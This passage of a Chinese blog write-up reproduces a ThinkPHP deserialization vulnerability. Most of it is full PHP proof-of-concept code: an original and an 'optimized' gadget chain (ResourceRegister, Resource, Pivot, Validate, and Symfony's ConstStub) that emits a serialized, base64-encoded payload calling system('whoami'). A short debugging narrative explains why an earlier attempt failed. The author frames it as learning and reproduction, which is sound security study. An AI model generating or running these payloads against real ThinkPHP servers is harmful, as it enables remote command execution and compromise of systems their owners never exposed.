protected $hidden = [];
protected $append = [];
private $relation = [];
function __construct(){
$this->visible=[
'fupanc' => "fupanc.whoami"
];
$this->hidden=[
'113'=>true
];
$this->append=[
"fupanc"=>"fupanc.111111"
];
$this->relation=[
"fupanc"=>new \think\Validate()
];
}
}
namespace think\route;
class Resource
{
protected $rule;
protected $option = [];
protected $rest = [];
protected $router;
protected $name;
function __construct(){
$this->rule="fupanc";
$this->router=new \think\Route();
$this->option=[
"var"=>["fupanc"=>new \think\model\Pivot()],
];
$this->rest = [
'fupanc' => ["111","<id>"]
];
$this->name="f";
}
}
namespace think\route;
class ResourceRegister
{
protected $registered;
protected $resource;
protected $name;
function __construct(){
$this->registered = false;
$this->name="f";
$this->resource=new \think\route\Resource();
}
}
$a=new \think\route\ResourceRegister();
echo urlencode(base64_encode(serialize($a)));
|
可以动态生成调试一下。
就简单说说这里的差错点:
同样的,我也是关注到了在toArray()方法中的对$this->visible
的分割,同样的最开始构造是是想要利用else语句中的代码块来进行赋值操作:

但是在参数跟进中,发现这里是需要将这个$val
设置为命令执行的参数,比如whoami
,但是这里就一定会是字符串类型的,就一定不能成功调用,那么我前面的POC构造就顺应趋势,尝试对if中的语句进行利用,所以需要有.
,让然后$name
的值为命令执行参数,所以我传参
1
2
3
|
$this->visible=[
'fupanc' => "fupanc.whoami"
];
|
这样就能形成一个$visible['fupanc'][] = "whoami"
了,在最后的调用call()方法时,这里的参数就是传递的这个:

但是呀但是,顺应if语句的后果是,里面是一层数组(也就是会生成上面给的示例的结果):

本来我还很兴奋,刚好call_user_func_array()
函数第二个就是需要一个数组类型,但是,在真正调用时,是在外面套了一层数组的:

所以这里真正调用时是会报错的:

所以这里是失败的。还是必须要进入到else中的语句呀,这样才能赋值为一个字符串类型,从而可以进行命令执行,但是一直想不通呀,怎么可以这样进行呢?
最后还是看的nivia学长的文章,里面有如下说法:

我最开始也是看不懂的,通过看POC以及写代码,终于理解到了。
在这里nivia学长就是将$val
设置为了一个实例化对象,然后在函数调用时会触发toString()函数,从而输出这个内容,但是也是一直没想清楚是哪里调用了触发了toString()方法,后面想到了命令执行函数,需要string类型,那么很有可能是这个点,测试代码如下:
1
2
3
4
5
6
7
8
9
|
<?php
class Student{
function __toString(){
return "whoami";
}
}
$a=new Student();
call_user_func_array("system",[$a]);
|
最后成功进行命令执行。成功,那么就是这样进行的。
并且,这里非常非常重要的是,还刚好有一个类的toString()函数是符合这个条件的:

toString()函数内容如下:
1
2
3
4
|
public function __toString(): string
{
return (string) $this->value;
}
|
哇塞,太符合了,怎么就会有这么巧的情况出现,tql,又学到一个新的利用点。
————————
最终POC
完事具备,最后的完整POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
|
<?php
namespace Symfony\Component\VarDumper\Caster;
class ConstStub{
protected $value;
function __construct(){
$this->value="whoami";
}
}
namespace think;
class Validate
{
protected $type = [];
function __construct(){
$this->type=['visible'=>'system'];
}
}
class Route{
}
namespace think\model;
class Pivot
{
protected $visible = [];
protected $hidden = [];
protected $append = [];
private $relation = [];
function __construct(){
$this->visible=[
'fupanc' => new \Symfony\Component\VarDumper\Caster\ConstStub
];
$this->hidden=[
'113'=>true
];
$this->append=[
"fupanc"=>"fupanc.111111"
];
$this->relation=[
"fupanc"=>new \think\Validate()
];
}
}
namespace think\route;
class Resource
{
protected $rule;
protected $option = [];
protected $rest = [];
protected $router;
protected $name;
function __construct(){
$this->rule="fupanc";
$this->router=new \think\Route();
$this->option=[
"var"=>["fupanc"=>new \think\model\Pivot()],
];
$this->rest = [
'fupanc' => ["111","<id>"]
];
$this->name="f";
}
}
namespace think\route;
class ResourceRegister
{
protected $registered;
protected $resource;
protected $name;
function __construct(){
$this->registered = false;
$this->name="f";
$this->resource=new \think\route\Resource();
}
}
$a=new \think\route\ResourceRegister();
echo urlencode(base64_encode(serialize($a)));
|
成功命令执行:

简单优化了一下POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
|
<?php
namespace Symfony\Component\VarDumper\Caster;
class ConstStub{
protected $value;
function __construct(){
$this->value="whoami";
}
}
namespace think;
class Validate
{
protected $type = [];
function __construct(){
$this->type=['visible'=>'system'];
}
}
class Route{
}
namespace think\model;
class Pivot
{
protected $visible = [];
protected $hidden = [];
protected $append = [];
private $relation = [];
function __construct(){
$this->visible=[
'fupanc' => new \Symfony\Component\VarDumper\Caster\ConstStub
];
$this->hidden=[
'113'=>true
];
$this->append=[
"fupanc"=>"fupanc.111111"
];
$this->relation=[
"fupanc"=>new \think\Validate()
];
}
}
namespace think\route;
class Resource
{
protected $rule;
protected $option = [];
protected $rest = [];
protected $router;
protected $name;
function __construct(){
$this->rule="fupanc";
$this->router=new \think\Route();
$this->option=[
"var"=>["fupanc"=>new \think\model\Pivot()],
];
$this->rest = [
'fupanc' => ["111","<id>"]
];
$this->name="f";
}
}
namespace think\route;
class ResourceRegister
{
protected $registered;
protected $resource;
protected $name;
function __construct(){
$this->resource=new \think\route\Resource();
}
}
$a=new \think\route\ResourceRegister();
echo urlencode(base64_encode(serialize($a)));
|
——————
总结
intersting,very intersting,一切都是最好的安排,好玩好玩。
参考文章:
https://xz.aliyun.com/news/14341
——————————
Thinkphp的漏洞还是很多的,其他的就不复现了,还想再复现的可以在漏洞库找找。
注:每一部分的参考文章都是不同的。